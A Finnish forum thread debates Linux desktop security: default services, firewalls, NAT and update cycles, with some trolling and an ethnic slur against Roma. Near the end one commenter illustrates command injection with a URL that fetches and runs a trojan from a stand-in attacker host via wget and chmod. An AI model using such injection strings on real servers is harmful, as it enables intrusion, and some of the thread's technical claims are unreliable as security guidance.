Huomasin tuolla toisella palstalla kommentteja käyttiksien turvallisuudesta, josta ohessa kopio osasta erästä viestiä ja linkki koko tekstiin (sorry vain, en voinut kysyä alkuperäisen kirjoittajan lupaa).
Avaus ei tietty ole tehty polemiikkimielessä, vaan kiinnostaisi kuulla Linuxin hyvin tuntevien objektiivisia ja asiallisia kommentteja aiheesta.
Miten on. Asentaessaan Linuxin, niin tulisiko sitä säätää ja jos niin, niin miten optimoidakseen lisää sen turvallisuutta?
- - - - - - - >
"Kuitenkin olen kuullut kerrottavan, että valtaosa ns. "bottikoneista" olisi nimenomaan virittelemättömiä linuxeja. Tietenkin linuxitkin saa turvallisemmaksi virittelemällä, ja karsimalla turhia toimitoja mutta Slackwarea lukuunottamatta linuxit tarjotaan melkein kaikkia palveluja oletuksena pyörittävinä kokonaisuuksina, eli niitä täytyy aina karsia".
"Vintoosassa et voi asentaa esimerkiksi palvelinsysteemiä ellet ole maksanut nimenomaan sellaisesta, ja siten kaikki tavanomaiset vintoosat ovat todellakin "kotikoneita", eikä kaikenmaailman hyökkäyksille avoimia postipalvelimia".
- http://keskustelu.suomi24.fi/show.fcgi?category=108&conference=655&posting=22000000040084668
.
Avaus ei tietty ole tehty polemiikkimielessä, vaan kiinnostaisi kuulla Linuxin hyvin tuntevien objektiivisia ja asiallisia kommentteja aiheesta.
Miten on. Asentaessaan Linuxin, niin tulisiko sitä säätää ja jos niin, niin miten optimoidakseen lisää sen turvallisuutta?
- - - - - - - >
"Kuitenkin olen kuullut kerrottavan, että valtaosa ns. "bottikoneista" olisi nimenomaan virittelemättömiä linuxeja. Tietenkin linuxitkin saa turvallisemmaksi virittelemällä, ja karsimalla turhia toimitoja mutta Slackwarea lukuunottamatta linuxit tarjotaan melkein kaikkia palveluja oletuksena pyörittävinä kokonaisuuksina, eli niitä täytyy aina karsia".
"Vintoosassa et voi asentaa esimerkiksi palvelinsysteemiä ellet ole maksanut nimenomaan sellaisesta, ja siten kaikki tavanomaiset vintoosat ovat todellakin "kotikoneita", eikä kaikenmaailman hyökkäyksille avoimia postipalvelimia".
- http://keskustelu.suomi24.fi/show.fcgi?category=108&conference=655&posting=22000000040084668
.
Vastaukset 49
Vanhimmat
Tämä on yksi suurista salaisuuksista. Linuxnistit esittävät, että Windows on turvaton, koska se on auki nettiin, mutta tosiasiassa Windowsissa on vähemmän palveluita auki nettiin kuin Linuxissa vakiona ja tämän lisäksi Windowsissa on usein vakiona jo palomuuri päällä, mutta Linuxissa se pitää komentoriviltä koodaillen laittaa käyttöön.
taas pena esittää viisaampaa kuin on...
Ei sitä mistään komentoriviltä tarvi laittaa päälle... Kyllä siihen on ihan graafisiakin härpäkkeitä...
Mutta jokos pena osaa vastata kysymykseen, että MIKSI EI WINDOWSIA VOI PÄIVITTÄÄ NETISTÄ ILMAISEKSI UUDEMPAAN VERSIOON (win 2000 => winXP)????????? Jaa et osaa vai...
Voi voi... Kohta pitää TAAS ostaa uusi windows ja taas uusi ja taas uusi, jne.... Onneksi ei tarvi ostella...
:)
Microsoft ei ole kommunismia ja Windowsit ovat kaupallisia ohjelmistoja, joista Microsoft yrittää tienata rahaa. Siksi Windowsia ei voi päivittää netissä edellisestä versiosta seuraavaan ilmaiseksi.
Windowsin seuraava versio täytyy aina ostaa kaupasta.
jauhat pentti sitäpaitsi tää on LINUX palsta eikä sun trollauksille tarkoitettu palsta! joten Antaa Vetää Täältä!
Juuri siksi windows onkin niin paska. Kapitalistirottien suunnittelema TUOTE, jonka tarkoitus on TUOTTAA. Sillä ei ole mitään tekemistä tiedonkäsittelyn helpottamisen kanssa. Jos on mahdollista saada lisää tuottoa tekemällä tiedonkäsittely vaikeaksi, silloin se tehdään vaikeaksi.
Älkää ihmiset olko tyhmiä.
Sanelupolitiikkaa.
Ettei vaan olisi pieni "ketunhäntä" kainalossa?
>Vintoosassa et voi asentaa esimerkiksi palvelinsysteemiä ellet ole maksanut nimenomaan sellaisesta...
Nokkelimmat tietää että se on vain rekisteriasetus. Oletko ihan oikeasti sitä mieltä että kun kun hyökkääjä saa, esim nyt avoinna olevan IE-aukon kautta, koneen täyteen hallintaansa niin se ei osaa vääntää sitä serveriksi? ;)
"Miten on. Asentaessaan Linuxin, niin tulisiko sitä säätää ja jos niin, niin miten optimoidakseen lisää sen turvallisuutta?"
Ei ainakaan silloin jos ei tiedä mitä on tekemässä. Linux on muutenkin niin vähässä käytössä ettei niistä mitään bottiverkkoa saa. Ehkä jonkun ahvenanmaan kokoisen bottiverkon. Mutta ilmoita ihmeessä jos pääset linuxilla osaksi bottiverkkoa, saatat päästä ehkä uutisiin.
Ainakaan nuo käytetyimmät työpöytäkäyttöön tarkoitetut linuxit ei asenna mitään palvelinohjelmistoja oletuksena. Se ero windowsiin on kyllä että linuxilla voi tehdä mitä vain ja todellakin maksamatta penniäkään. Postipalvelimet, www-palvelimet, tiedostopalvelimet jne ovat saatavilla ilmaiseksi sekä asennusmedialta että netin kautta.
Linuxin on tarkoitus olla täysin vapaasti muokattava ja ilmainen käyttöjärjestelmä kaikille. Jos ei pidä ideasta ja haluaa elää kapitalistirottien orjuuttavilla säännöillä, menee ja ostaa vistan.
http://www.itviikko.fi/tietoturva/2007/10/09/d-fence-yllattyi-linux-roskaajista/200724969/7
Bottiverkoissa todella suuri osa on Linux-tietokoneita. Maailman tehokkaimmat bottiverkot mm. sisältävät runsaasti Linux-koneita, käyttäjämääriin suhteutettuna jopa liian paljon.
Ettei vain olisi hieman "biased" jos kyseisen raportin antaa tietoturvayhtiö, eikä taloudesta riippumaton järjestö? Tottakai hätä on kädessä jos esille tuodaan käyttöjärjestelmä johon heidän tuotteitaan ei tarvita.
Muuten vaikka tuo olisi totta, jota se ei ole, niin linuxia käyttämällä olisi silti huomattavasti pienempi mahdollisuus tulla osaksi bottiverkkoa. Yksinkertaisesti siksi koska käyttäjiä on hyvin vähän verrattuna windowsiin.
no siis ei tietenkään se totta voi olla ;););)
Niitä bottiverkkoja, jotka koostuvat saastuneista Windows-koneista, johdetaan Linux-koneilla.
Ei ainakaan jos et pidä palvelinta. Jos pidät palvelinta, niin voit ruveta kyhäilemään sitten "tietoturvasipulia" jos haluat. Esmes ajaa linuxia linuxilla (uml), chroot ympäristöt, hipsit ja hidsit ja macsit ja tripwiret ja blabla.
kommentti lainauksen lainaukseen:
"Kuitenkin olen kuullut kerrottavan, että valtaosa ns. "bottikoneista" olisi nimenomaan virittelemättömiä linuxeja."
^- hää varmaan puhuu uutisesta mikälietietokonelehti tässä taannoin kertoi, että botnettien koneista yllättävän moni oli Linuxeja. Samaan sitten lisättiin perään että mokomat ovat olleet palvelimia joiden perään ei ole hirveästi katsottu.
Josta taas tullaan "tietoturvasipuliin". Sillä tarkoitan, että järjestelmästä pystyy kasaamaan "kerroksittaisen", saman sorttisesti kuin tiedostojen ja hakemistojen oikeudetkin pelittävät. Jos leluxissa pyörii apache omalla käyttäjätunnuksellaan, ja ilkeä kräkkeri pääsee konettimelle, on ilkeällä kräkkerillä ensin ainoastaan samat oikeudet koneella kuin käyttäjätunnuksella jolla apachea on ajettu. Esim. chroot ja uml rajoittavat sitten taas näkyvyyttä. Lukitaan se apassi vielä lisäksi omaan pikku vankilaan, jonka sisäpuolelta ei pääse käpistelemään juttuja vankilan ulkopuolelle, mutta ulkopuolelta voi käpistellä vankilan sisällä olevia asioita. Vankilan ulkopuolelle voisi vaikka sitten virittää ohjelman jossa on "hashit" vankilan sisällä olevista asetustiedostoista, suoritettavista ohjelmista ja kirjastoista. Jos ilkeä kräkkeri vaikka "lisää toiminnallisuutta" ohjelmaan X, tämä ohjelma huomaisi, että kyseinen tiedosto on muuttunut. Kerros kerroksen päälle ja järjestelmänvalvontaa.
vaikka kaikenmaailman provoissa yritetään toista väittääkkin...
Huomasinkin että tälle osastolle on tullut viestejä, jotka kuuluisivat sota-palstalle...Katsotaan toimiiko Sagen valvonta palstalla?
Ja sinä kuuluisit huuhaa-palstalle..... =)
Ei tarvitse mitään virittelyjä. Riittää kun huolehtii siitä, että käyttöjärjestelmän päivitykset juoksevat kun ne ovat pääasiassa tietoturvapäivityksiä. Kun ne reiät paikataan niin eipä niitä voi hyödyntääkään. Säännöllisesti pitää kyllä hankkia uusi versio käyttöjärjestelmästä jotta tuki jatkuu.
Häh siis mitä mitä, linussissa reikiä?????
Ettekös te julista sitä kommunistista ilosanomaa että kaikki on linussissa kunnossa ja se on turvallinen käyttää, perkele valehtelette kuin mustalaiset.
Tuli tähän pitkähköön ketjuun sentään kaksi tai oliko niitä kolme täysin asiallista ja objektiivista kommenttia, M-Kar & ölkajsdf.
Muut olivat joko itsesään tai sisälsivät jälleen kerran erityisen kapeaa maailman kuvaa ja / tai ainakin osittaista paranoiaa.
Joillakin on rajattomasti aikaa ja energiaa hyödyttömiin väittelyihin ja riitelyyn, asiallisen keskustelun sijaan. No, tavoitteensa ja "prioritettinsa" kullakin. Vai onko se pikemminkin heijastumaa jonkin asteisesta henkilökohtaisesta pahoinvoinnista...
Väännetään nyt vielä kerran oikein rautalangasta, josko menisi jakeluun, joskin olen varsin skeptinen sen suhteen.
Avaus osaltani oli täysin NORMAALI & NEUTRAALI tekninen kysymys, viitaten toisaalla havaitsemaani kommenttiin. Kapiitto, menikö perille :D
Tämä sen vuoksi, että Linux yleensäkin kiinnostaa ja olen lähiaikoina asentamassa Ubuntua koneelle, mikäli rauta vain sen haluaa.
Itselleni on yksi lysti onko jollakin käytössä OS X, Linux vai Windows tai useampi, kunhan se vain vastaa käyttäjänsä tarpeita. Helppoa, eikö vain!
-------------------------------------------------
Mutta itse asiaan. Elikkä Linuxien "perusjakeluissa" (vaikkapa Ubuntussa 8.04) ei ole oletuksellisesti palveluita päällä (kuten tuolla ylempänä joku väitti), joita tarvitsisi disabloida erikseen?
>> Ei tarvitse mitään virittelyjä.
Siis ei mitään hienosäätöä tehtävissä yksittäiseen jakeluun voidakseen optimoida turvallisuutta lisää (paitsi se mistä "ölkajsdf" kertoi, joka taas menee yli oman käyttöni)?
"Häh siis mitä mitä, linussissa reikiä?????"
Niin? Yleensä tietokoneohjelmistoissa on tietoturvareikiä ja ne pitää paikata että on turvallista käyttää.
"Ettekös te julista sitä kommunistista ilosanomaa että kaikki on linussissa kunnossa ja se on turvallinen käyttää, perkele valehtelette kuin mustalaiset."
No onhan ne tuetut Linux-pohjaiset käyttöjärjestelmät turvallisia käyttää.
"Mutta itse asiaan. Elikkä Linuxien "perusjakeluissa" (vaikkapa Ubuntussa 8.04) ei ole oletuksellisesti palveluita päällä (kuten tuolla ylempänä joku väitti), joita tarvitsisi disabloida erikseen?"
Ei mitään sellaista mihin tarvisi puuttua. Jos sieltä jostain tietoturvareikä löytyy niin paikka voi tulla tunneissa. Se mitä lähinnä tarvii huolehtia on se, että et käytä sitä Ubuntu 8.04:ää maailman tappiin saakka. Jos Ubuntu 8.04.1:n pistää nyt sisään ja käyttelet pääasiassa oletussoftia niin sitten olisi ajankohtaista päivittää koko käyttis kun tulee joku 10.04.1 ulos (eli 2010 kesällä) ja muuten pistät kaikki turvapaikat mitä sieltä tulee niin ei tarvi sen enempää stressiä ottaa.
Se koko käyttiksen päivitys sitten käy myös nappia painamalla mutta on vähän sama kuin joku service pack toosassa, että jos käy paska säkä niin voi sitten jotain paukkua rikki ja voi tulla uudelleenasennusta. Siksi suosittelen, että on tullut se .1 versio, eli ensimmäinen point release niin on sitten varmasti nuoltu paremmin bugit kun se 10.04 putkahtaa 2010 huhtikuussa.
Mutta näin siis Ubuntulla. Se on käyttiskohtaista miten tuo päivityssykli menee ja kuinka pitkään tuetaan. Itse suosittelen että päivittää vasta sitten kun on eka service pack tai point release ulkona niin on kummasti ongelmattomampaa, käyttiksestä riippumatta.
Ubuntu LTS julkaisuja sitten tuetaan se 3v ja 2v välein on päivitystahti, mutta sitten on noita yrityskäyttisten ilmaisversioita alanmiehille, kuten Fedora ja openSuse ja openSolaris (joka ei ole Linux-pohjainen mutta paskanko väliä). Nämä sitten päivittyy 6kk välein ovat kokoajan jossain määrin ilmainen testiversio josta vähän testaillaan uusia juttuja mitä otetaan businessversioon millä tehdään tiliä. Sopivat kuitenkin harrastajille. Mandriva taas olisi melkeinpä vahvasti painottunut sinne harrastajille ja tämä päivittyy 6kk välein ja pyrkii olemaan sitä bleeding edgeä. Lisäksi siinä pääpaino KDE työpöydällä josta harrastajat tuntuu tykkäävän. Näiden 6kk päivittyvien tuki on 18kk, että se vuoden verran tuntuu olevan sitä aikaa joustoon milloin sen käyttispäivityksen tekee.
Jos sitten haluaa sitä Linux-pohjaista käyttistä ilmaiseksi ja haluaa sitä toimintavarmuutta ja pitempää tukea niin sitten olisi Red Hat Enterprisen ns. halpakopio nimeltään CentOS ja sitten olisi Debian. Debian tuntuu olevan erikoistunut siihen, että toimii joka värkissä ja joka käytössä ja pyrkii tiukasti pitämään lisensoinnit sellaisina, että siitä voi johtaa uusia käyttiksiä. On erinomainen sellaisena modulaarisena käyttiksenä minkä voi säätää mieleisekseen ja ajaa missä värkissä vaan. Debianissa on lokalisoinnit vähän heikot.
CentOS:ssa sitten on pitkä tuki, 7v mutta se kun on businessmallia niin multimediakäyttöä ei siinä ole erityisemmin huomioitu.
lainaan tässä erästä, jo hieman vanhempaa selvitystä asiasta:
http://www.elisanet.fi/walpas/tpo_3.htm
Jo tästäkin saa jonkinlaisen käsityksen siitä, miten paljon linux-systeemissä pyörii sinällään täysin tarpeettomia prosesseja. Eli: jollet tarvitse kirjoitinta, tai sinulla ei sellaista ole, voit poistaa ne prosessit, jotka pyörivät taustalla tätä varten. Myös indeksoinnin voit poistaa, koska siitä ei ole varsinaista hyötyä työteon kannalta. Jollei ole BlueToothia, voi senkin prosessit poistaa, jne. Postipalvelin on normaalikäytössä ihan turha, sillä POP yms. -postisysteemit eivät edellytä sitä, eli posteja voi lukea ihan tavallisilla postiohjelmilla, kuten ThunderBirdillä. Sambaa ei tarvita ellei kone ole yhteyksissä windows -systeemeihin, joten nämäkin ajurit voi disabloida pois, jos kotona on vain linux -kone.
Muistaakseni Ubuntussa ei ole iptables (palomuuri) oletuksena päällä, tai sitten se oli joku muu distribuutio joss näin ei ole. Tietenkin tämä asian voi tarkistaa netistä esimerkiksi ShieldsUp -palvelun kautta, joka näyttää onko sysdteemi läpinäkyvä, ja kuinka paljon, jos on. Monissa distroissa tämä homma hoidetaan jo asennuksen yhteydessä, eli palomuuri kytketään päälle, ja samalla muut tarkistusysteemit, kuten SUSe:ssa.
Tavallisen ihmisen ei kannata ylläpitää palvelinta, ja ei se onnistukaan ellei ole hankkinut kiinteää IP -osoitetta palveluntarjoajalta.
Ubuntussa melkein kuka tahansa voi käyttää laitteita, mikä merkitsee käytön helppoutta. Ei tarvitse erikseen viritellä laitteita toimintakuntoon. Muissa distroissa tämä on tehty hieman hankalammaksi, eli esimerkiksi skannerin aktivoimiseen pitää tehdä itse jotakin.
Osa näistä linuxissa toimivista automaattisista taustaprosesseista on sellaisia, että krakkerit voivat käyttää niitä hyväkseen tietyissä olosuhteissa. Jos koneesi "sijaitsee" kaapeliverkossa, niin ilman mitään suojauksia jokainen kaapeliverkossa oleva kone voi nähdä koneellesi, ja ottaa sieltä mitä haluaa, tai ainakin he voivat nähdä laitteet, joita käytetään "yhteisesti". Siksi pitää varmistua siitä, ketkä ovat oikeutettuja käyttämään laitteita, tai palveluja.
Olen tätä kysellyt jo muualtakin, mutta kysytään nyt sinultakin. Mitä tekee palomuurilla järjestelmässä, jossa ei ole käynnissä ensimmäistäkään verkkoa kuuntelevaa ohjelmaa? Jos omalle koneelleen asentaa jonkin palvelinohjelmiston, miksi siinä koneella pitäisi olla palomuuri erikseen blokkaamassa muuta liikennettä, jos blokkaa tuon palvelinohjelmiston käyttämän portin, palvelin ei toimi...
Iptables ei ole palomuuri, mutta se on oletuksena jokaisessa 2.4:sta uudemmassa kernelissä mukana.
"ilman mitään suojauksia jokainen kaapeliverkossa oleva kone voi nähdä koneellesi, ja ottaa sieltä mitä haluaa, tai ainakin he voivat nähdä laitteet, joita käytetään "yhteisesti". "
Hohhoijjaa....
lienee syytä lukea ainakin yksi juttu:
http://users.utu.fi/sjsepp/linux_ohje/linuxin_tietoturvan_perusteet.html
ja mitä tuohon ilman suojauksia olevan koneen "luettavuuteen" tulee, on se valitettavasti totta. Ihmiset eivät osaa suojata koneitaan, koska luottavat liikaa siihen, ettei muka linuxeihin pääsisi sisälle, ja että ne olisivat turvallisia.
Että hohhoijaa vain itsellesi, teini!
Kyllä Urpiainen puhui ihan asiaa, jos ei ole palvelua ei myöskään ole porttia koneeseen. Nämä tietokoneen "portit" kun eivät ole mitään reikiä mistä voisi ryömiä sisään aivan kuten palomuurikaan ei ole tiilistä tehty vaikka mikrobitin kuvissa se yleensä näyttää siltä.
Tällaiseen ns. porttiin voi kuka vain koputella kuinka paljon haluaa, jos sieltä ei mikään vastaa niin sieltä ei sitten pääse "sisäänkään".
Pointtina oli tässä että jotkin jakelut, esim. Ubuntu, käynnistää oletuksena tarpeettoman määrän palveluja koska se saa Ubuntun tuntumaan helpon automatisoidulta, vähän kuten Windows joka verkkoa asennettaessa asentaa myös surullisen kuuluisan "Tiedostojen ja tulostimien jako windows-verkoissa" palvelun. Kokematon käyttäjä ei välttämättä edes tiedä mitä kaikkia palveluja hän pyörittää koneellaan eikä osaa suojautua joten tunkeilijan on helppo tulla etenkin päivittämättömän palvelun kautta koneelle mutta VAIN jos tämä palvelu siis on käynnissä.
Perinteisemmät Linuxjakelut eivät käynnistele juuri mitään palveluja oletuksena vaan käyttäjä joutuu itse määrittämään asetukset ja ottamaan palvelut käyttöön, tämä lienee niin kutsutta linuxin "säätämistä" vaikka sillä on olennainen vaikutus tietoturvaan. Kokematon käyttäjä joka aloittaa tällaisella perusjakelulla ei osaa myöskään käynnistää mitään ylimääräistä ja on näin paremmin suojattu kuin esim. ubuntu-serkkunsa.
Mitä tulee palomuuriin niin tarpeellisen palvelun kohdalla on kuitenkin ns. "aukko" eli "portti" koska eihän koko palvelua voisi muuten käyttää jos siihen ei pääsisi käsiksi. Tärkeintä onkin huolehtia siitä että palveluiden asetukset eli nämä kuuluisat "konffit" ovat asianmukaisesti määritelty (kuka saa, kuka ei, mistä, milloin jne.) sekä se että ohjelmisto on turvapäivitetty ajan tasalle.
Lisätään nyt vielä yksi kommentti ettei Ubuntuilijat säikähdä liiallisesti. Edellinen koskee vain henkilöitä joiden verkkolaite saa suoraan IP-osoitteen ISP:lta eli esim. ADSL-modeemilla surffailijat ovat pääsääntöisesti suojattu sillä useimpien modeemien oletusasetus on "Routed" eli reititetty mikä tarkoittaa että modeemissa tehdään ns. NAT-muunnos joka itsessään toimii palomuurina. Modeemin alla olevat koneet ovat tällöin aliverkossa ja NATin läpi ei ulkopuolelta yksittäiselle koneelle pääse ellei palvelun porttia ole erikseen ohitettu modeemilta.
Selvittäkää oletteko NATin suojassa vai onko verkkolaitteella "suora" IP-osoite. NATin alla olevien verkkolaitteiden IP-osoitteet alkavat joko
192.168.x.x
tai
10.0.x.x
Jos nyt opinnoista välttämättä halutaan alkaa vääntämään, niin itselläni on FM paperit Helsingin Yliopistosta, pääaineena tietojenkäsittelytiede. Portti ei ole mikään koneessa oletuksena oleva kummallinen reikä, joka pitäisi suojata. Portti luodaan siinä vaiheessa kun jokin palvelinohjelma käynnistetään, kun ohjelma sammuu, portti häviää. Jos taas blokkaat jonkin palvelinohjelmiston kuunteleman portin palomuurilla, palvelinohjelmisto ei toimi.
Eri asia sitten on, jos halutaan käynnistää jokin erillinen palomuurisofta tarkkailemaan millaista liikennettä tuohon kyseiseen porttiin lähetetään, onko kaikki esim standardia http-liikennettä vai mahdollista hyökkäysroinaa. Tuohon vaan ei ihan normaalit palomuurisoftat pysty, vaan hinta pompsahtaa ihan eri numeroihin.
Kerro edelleen, millä hyökkäät koneeseen jossa ei ole verkkoa kuuntelevia palveluita käynnissä. Edelleen, normaalia työpöytä-Linuxia käyttävällä ei ole mitään syytä alkaa ronkkimaan iptablesin asetuksia.
Sinun vuoro, ole hyvä.
Anteeksi ymmärrykseni vajaus, mutta olen käyttäjä jolla ei ole kiinteää IP-osoitetta, ja modeemi löytyy tuosta osoitteesta 192.168.xxx.x, joten onko koneeni turvassa ilman palomuuria tai joutavia päivityksiä. ?
Päivityksenä olen käyttänyt uuden linux-version asentamista n. 1-2 v välein, palomuuria ei ole ollut, eikä mitään ongelmiakaan.
Palomuurilla tekee siinä vaiheessa jotakin, kun käyttää vanhentuneita ohjelmia, joista on löydetty haavoittuvuuksia. Päivityksien julkaisemisessa toisinaan kestää jonkin aikaa, joten väistämättä joskus joutuu käyttämään ainakin hetken aikaa haavoittuvaisia ohjelmistoja.
Esimerkiksi jos selaimesta on löydetty haavoittuvuus, saattaa se tarkoittaa, että kun surffailet jollekin pahalle sivulle, pystyy siinä samalla koneellesi latautumaan automaattisesti trojan. Ilman palomuuria trojanin ja jonkun pahiksen yhteydet koneellesi ovat joka suuntaan vapaat.
Ok, surffaat selaimella sivulle, josta latautuu hyökkäyskoodia sinun koneelle, joku ohjelman- tai skriptinpätkä. Meinaat että tuolla ohjelmalla olisi Linuxissa tai Unixissa oikeus käynnistyä itsestään, ilman käyttäjän antamaa chmod-käskyä...?
Jos troijalainen käyttää 80-porttia ulospäin ja saa kaiken liikenteen sisään samassa socketissa, pitää palomuurin tarkkailla mikä softa se on joka tuota liikennettä käyttää.
Mutta aiemmassakin tapauksesa oli kyse hyökkäyksistä jotka aktivoidaan koneen ulkopuolelta, käyttäjän toimista riippumatta. Miten siis hyökätään palomuurittomaan koneeseen, jossa ei ole käynnissä ainuttakaan verkkoa kuuntelevaa softaa?
Sinun modeemi jakaa sisäverkkoon 192.168.x.x osoitteita, ulkoverkkoon päin näkyy jotain ihan muuta. Sisäverkossa jokaisella koneella on tuosta 192-avaruudesta osoite, mutta jos menet esimerkiksi käymään osoitteessa http://www.ripe.net/ näet mikä osoite sinun modeemista näkyy ulospäin.
"onko koneeni turvassa ilman palomuuria tai joutavia päivityksiä"
Jos käytät Linuxia, niin normaalissa työpöytäkäytössä on. Jos koneellasi on jotain palvelinohjelmistoja käynnissä ja olet tehnyt modeemiisi porttiohjauksia, niin silloin kannattaa olla tarkempi. Veikkaan että olet normaali työpöytäihminen, joten älä huoli.
Jos selaimessa on aukko, jolla koneelle voidaan ladata sovellus, voidaan se myös chmodata ja suorittaa käyttäjän oikeuksin.
Mutta niin, jos ei tosiaan mikään kuuntele verkkoa niin ei sitten varmaan pahemmin murtaudutakaan..
"Jos selaimessa on aukko, jolla koneelle voidaan ladata sovellus, voidaan se myös chmodata ja suorittaa käyttäjän oikeuksin."
Öh...? Kerrotko vähän tarkemmin tästä? Ohjelmien tai yleensä tiedostojen lataaminen on se, jota varten selain on tehty, muiden asioiden tekeminen vaatii sitten jotain lisää.
Tuo tarkottais sitä, että joko selaimen koodissa on valmiina käskyt tuon suorittamiseen, tai sitten hyökkääjällä on täysin vapaa pääsy jotain selaimen rööriä hyväksikäyttäen käyttöjärjestelmän käskyihin...
Kyllä olet NAT-muunnoksen takana joten sinne ei ilman eri säätöä pääse ulkopuolelta ronkkimaan.
Homma menee siis niin että palveluntarjoajasi serveri antaa modeemillesi IP-osoitteen joka on suomessa muotoa about 84.234.72.54 (esimerkiksi) ja se on siis modeemisi IP-osoite, tämän voi todentaa kun kirjautuu modeemin softaan webbiselaimella ja tarkistaa modeemin osoitteen. Modeemisi sitten jakaa alaspäin aliverkon IP-osoitteita jotka ovat juuri tuota muota kuin sinulla eli alkaa numeroilla 192.168.x.x esim. 192.168.1.100. Jos modeemiisi saa vaikka 4 konetta kiinni niin koneet ovat yleensä
192.168.1.100
192.168.1.101
192.168.1.102
192.168.1.103
riippuen miten modeemi on määritelty noita numeroita antamaan. Kyseessä voi olla dhcp joka dynaamisesti arpoo aina osoitteen kun jokin kone aliverkosta pyytää osoitetta tai sitten modeemin sisällä voidaan määritellä että kaikki tai jokin kone saa aina saman IP:n eli kyseessä on silloin modeemin staattinen aliverkon IP-osoite. Meneekö vähän sekavaksi.. noh, nämä ovat kuitenkin siis modeemista kiinni. Itse olen esim. määritellyt että kaikki PC:t saavat osoitteen dhcp:n arpomana mutta verkkotulostin on AINA kiinteästi osoittessa 192.168.2.107 ja oma LAN-serveri AINA osoitteessa 192.168.2.110 ihan käytännön vuoksi. Minulla on tuossa kolmannessa lohkossa numero 2 koska mulla on ensin adsl-modeemi 192.168.1.1 ja sen jälkeen langaton tukiasema 192.168.2.1 joka sitten jakaa osoitteet alaspäin koneille.
Jotta voisit käyttää jotakin palvelinohjelmaa sinun pitäisi ensin käynnistää ja konfiguroida se koneellasi ja sen jälkeen mennä webbiselaimella modeemisi softaan josta määrittäisit palvelun käyttämille porteille "port-forwardingin" omalle koneellesi mikä tarkoittaa että asetat modeemin sisäisellä softalla oman koneesi kohteeksi ja esim. portin 2046 auki jolloin tuon portin kautta tuleva liikenne ohjataan suoraan sinun koneesi aliverkon IP-osoitteeseen jossa sitten samassa portissa kuulostelee se palvelusi verkon kutsuja ja suorittaa tehtäväänsä eli tarjoaa sitä palvelua mitä varten se on tehty.
Modeemien oletuasetus on käsittääkseni tai ainakin mitä itse olen niitä käpistellyt eri merkkejä niin sellainen että kaikki ulosmenevä liikenne on sallittu mutta kaikki sisääntuleva blokattu mutta asetukset olisi aina syytä tarkistaa erikseen manuaalin ja webbiselaimen avulla sieltä modeemista.
Huomautan muuten vielä lopuksi että tämä koskee nyt vain ethernetliitännäisiä adsl-modeemeja joihin saa useamman koneen kiinni. On olemassa usb-liitännäisiä modeemeja yhdelle koneelle ja niissä ymmärtääkseni tuo usb-mulikka toimii vain SILTANA eli se IP-osoite tulee ISP:ltä suoraan koneellesi ja silloin tilanne on se että palvelujen vastauksia etsivä skanneri pääsee sinne koneelle asti ja tällöin pitää ehdottomasti sammutella turhat palvelut, konfiguroida tarpeelliset oikein ja mielellään vielä miettiä sitä palomuuriakin.
Kun verkosta ladataan / latautuu jotakin omalle koneelle menee tuo paketti umaskin läpi jolloin sen oikeudet muuttuvat siten ettei se pysty itsenäisesti tekemään mitään, ei ennekuin root/sudo antaa sille luvan toimia.
Eri asia jos umask on itse asetettu päin persettä, tosin en osaa nyt miettiä että mitä voisi tapahtua..
Niin ajatus olikin, että jos löytyy haavoittuvuus selaimesta..
Olisiko parempi esimerkki jos on ihan suoraan www-palvelin ja portti auki, vaikka apache tai mikä tahansa muu sovellus joka löytyy apachen alta. Jossakin näissä sovelluksista löytynyt haavoittuvuus voi tarkoittaa että hyökkääjä pystyy suorittamaan omia komentojaan ihan vain kirjoittamalla ne osoiterivilleen ja pyytämällä sivua joltain haavoittuneelta ohjelmalta. Vaikka jotakin http://www.uhri.com/ihqviekku/index.php?x=wget http://www.pahis.net/trojan;chmod x trojan;./trojan
Eli siis kuten haavoittuvuustiedotteissa usein ilmoitetaan hyväksikäyttötavaksi, on se sitten selaimen bugi tai valmiin palvelinsovelluksen: "Hyväksikäyttö: komentojen mielivaltainen suorittaminen"
>...joten sinne ei ilman eri säätöä pääse ulkopuolelta ronkkimaan.
Pitää hyvin pitkälle paikkansa mutta kaikkeen löytyy aina poikkeus.
Hyvä esimerkki tästä on Skype. Se kun kielii sinun NAT-osoitteesi ulkomaailmalle ja hämäävästi niin että niin tulee yhteys jonka tavallaan olet itse aloittanut silloin kun joku sinulle soittaa.
Niin tulee palomuurista läpi että heilahtaa vaikka sinulla on kaikki portit suljettu ulkoapäin tulevalle liikenteelle. ;)
Nojoo, jos joku on tehnyt tuollaisen ominaisuuden selaimeen, ei se ole enää ihan vahinko ja tuollaiselta koodaajalta pitää ehdottomasti katkoa sormet... :)
Tuollainen pikku "vika" apachen jossain lisäkalikassa, ei mene ihan bugien vaan tarkoituksellisten ja käsittämättömien ominaisuuksien piikkiin. Olikohan YLE:n tms IIS-palvelimessa TietoEnatorin tekemä hallintajärjestelmä, joka oli tehty juuri jollain tuollaisella virityksellä, kunhan löysi oikean php-tiedoston, sai täydet (palvelikäyttäjän) oikeudet levyjärjestelmään. Josta päästäänkin tuohon ensimmäisessä kappaleessa mainittuun ratkaisuun kyseisen koodaajan (tai firman) osalta.
ssh-palvelinhan antaa ihan komentotulkin etänä kirjautuvalle, jolla voidaan antaa järjestelmään käskyjä etäkäyttäjän oikeuksilla. Jos ssh-palvelimesta löytyy bugi, jolla salasanakyselyn voi ohittaa, silloin alkaa olla jo vähän pelottavampi ongelma. Vaan sitäkin varten käyttäjän pitää asentaa ja käynnistää tuollainen "pikku bugin" sisältävä serveri.
Kaikkihan on aina mahdollista, mutta...
Itselläni aikoinaan oli asennettuna Cacti (www.cacti.net) ja se jostain syystä vieläpä näkyi ulkomaailmaan apachen mukana, joka tosin ei olisi ollut tarpeellista. Tuosta löytyi silloin vastaava aukko, murtautujat pystyivät suorittamaan komentoja omilla selaimillaan. Tajusin hieman liian myöhään tilanteen (ehkä vasta 2kk päästä huomasin, että jotakin on tapahtunut=), olivat saaneet asennettua jonkun trojanin. Sen enempiä miettimättä siinä meni debian uudelleenasennukseen nopeesti
